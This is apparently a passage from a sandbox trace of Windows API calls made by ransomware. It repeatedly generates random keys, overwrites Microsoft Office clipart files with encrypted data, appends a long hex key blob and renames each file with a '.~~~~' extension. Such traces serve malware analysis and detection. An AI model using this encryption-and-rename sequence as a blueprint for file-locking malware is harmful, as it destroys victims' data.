	[0117.025] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0117.026] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.026] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0117.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0117.026] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23701640422) returned 1
	[0117.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaf3ed290, dwHighDateTime=0x1d60e1e)) 
	[0117.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0117.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0117.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0117.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8c38
	[0117.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8c38 | out: hHeap=0x300000) returned 1
	[0117.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0117.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b20c0
	[0117.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0117.027] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0117.027] GetLastError () returned 0x0
	[0117.027] GetLastError () returned 0x0
	[0117.027] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0117.027] GetLastError () returned 0x0
	[0117.027] GetLastError () returned 0x0
	[0117.032] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff598, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.032] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xa68, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xa68, lpOverlapped=0x0) returned 1
	[0117.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.033] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.033] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.033] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.033] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.033] CloseHandle (hObject=0x13c) returned 1
	[0117.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0117.034] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf.~~~~")) returned 1
	[0117.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0117.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0117.035] GetLastError () returned 0x0
	[0117.035] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0117.037] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.037] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0117.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0117.037] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23702709276) returned 1
	[0117.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaf3ed290, dwHighDateTime=0x1d60e1e)) 
	[0117.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0117.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0117.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0117.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8c70
	[0117.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8c70 | out: hHeap=0x300000) returned 1
	[0117.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0117.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b23b8
	[0117.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0117.038] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0117.038] GetLastError () returned 0x0
	[0117.038] GetLastError () returned 0x0
	[0117.038] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0117.038] GetLastError () returned 0x0
	[0117.039] GetLastError () returned 0x0
	[0117.043] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffcf1c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.044] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x30e4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x30e4, lpOverlapped=0x0) returned 1
	[0117.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.045] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.045] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.045] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.045] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.045] CloseHandle (hObject=0x13c) returned 1
	[0117.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0117.046] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf.~~~~")) returned 1
	[0117.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0117.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0117.047] GetLastError () returned 0x0
	[0117.056] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0117.058] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.058] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0117.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0117.058] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23704821359) returned 1
	[0117.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaf439550, dwHighDateTime=0x1d60e1e)) 
	[0117.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0117.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0117.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0117.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8ca8
	[0117.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8ca8 | out: hHeap=0x300000) returned 1
	[0117.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6d18
	[0117.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2450
	[0117.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6d18 | out: hHeap=0x300000) returned 1
	[0117.059] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0117.059] GetLastError () returned 0x0
	[0117.059] GetLastError () returned 0x0
	[0117.059] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0117.059] GetLastError () returned 0x0
	[0117.060] GetLastError () returned 0x0
	[0117.065] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe85e4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.065] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x17a1c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x17a1c, lpOverlapped=0x0) returned 1
	[0117.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0117.067] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.068] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.068] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.068] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.068] CloseHandle (hObject=0x140) returned 1
	[0117.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6d18
	[0117.068] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf.~~~~")) returned 1
	[0117.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6d18 | out: hHeap=0x300000) returned 1
	[0117.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0117.069] GetLastError () returned 0x0
	[0117.070] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0117.071] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.071] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0117.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0117.071] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23706140487) returned 1
	[0117.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaf45f6b0, dwHighDateTime=0x1d60e1e)) 
	[0117.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0117.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0117.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0117.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8ce0
	[0117.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8ce0 | out: hHeap=0x300000) returned 1
	[0117.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6d18
	[0117.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b24e8
	[0117.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6d18 | out: hHeap=0x300000) returned 1
	[0117.072] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0117.072] GetLastError () returned 0x0
	[0117.072] GetLastError () returned 0x0
	[0117.073] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0117.073] GetLastError () returned 0x0
	[0117.073] GetLastError () returned 0x0
	[0117.075] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff990, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.075] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x670, lpOverlapped=0x0) returned 1
	[0117.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0117.076] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.076] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.076] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.076] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.076] CloseHandle (hObject=0x140) returned 1
	[0117.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6d18
	[0117.077] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf.~~~~")) returned 1
	[0117.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6d18 | out: hHeap=0x300000) returned 1
	[0117.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0117.078] GetLastError () returned 0x0
	[0117.078] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0117.079] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.079] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0117.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0117.080] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23706982742) returned 1
	[0117.080] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaf45f6b0, dwHighDateTime=0x1d60e1e)) 
	[0117.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0117.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0117.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0117.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8d18
	[0117.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8d18 | out: hHeap=0x300000) returned 1
	[0117.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6d18
	[0117.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2580
	[0117.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6d18 | out: hHeap=0x300000) returned 1
	[0117.080] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0117.081] GetLastError () returned 0x0
	[0117.081] GetLastError () returned 0x0
	[0117.081] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0117.081] GetLastError () returned 0x0
	[0117.081] GetLastError () returned 0x0
	[0117.083] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffa4c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.083] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x5b4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x5b4, lpOverlapped=0x0) returned 1
	[0117.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0117.084] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.084] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.084] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.084] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.084] CloseHandle (hObject=0x140) returned 1
	[0117.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6d18
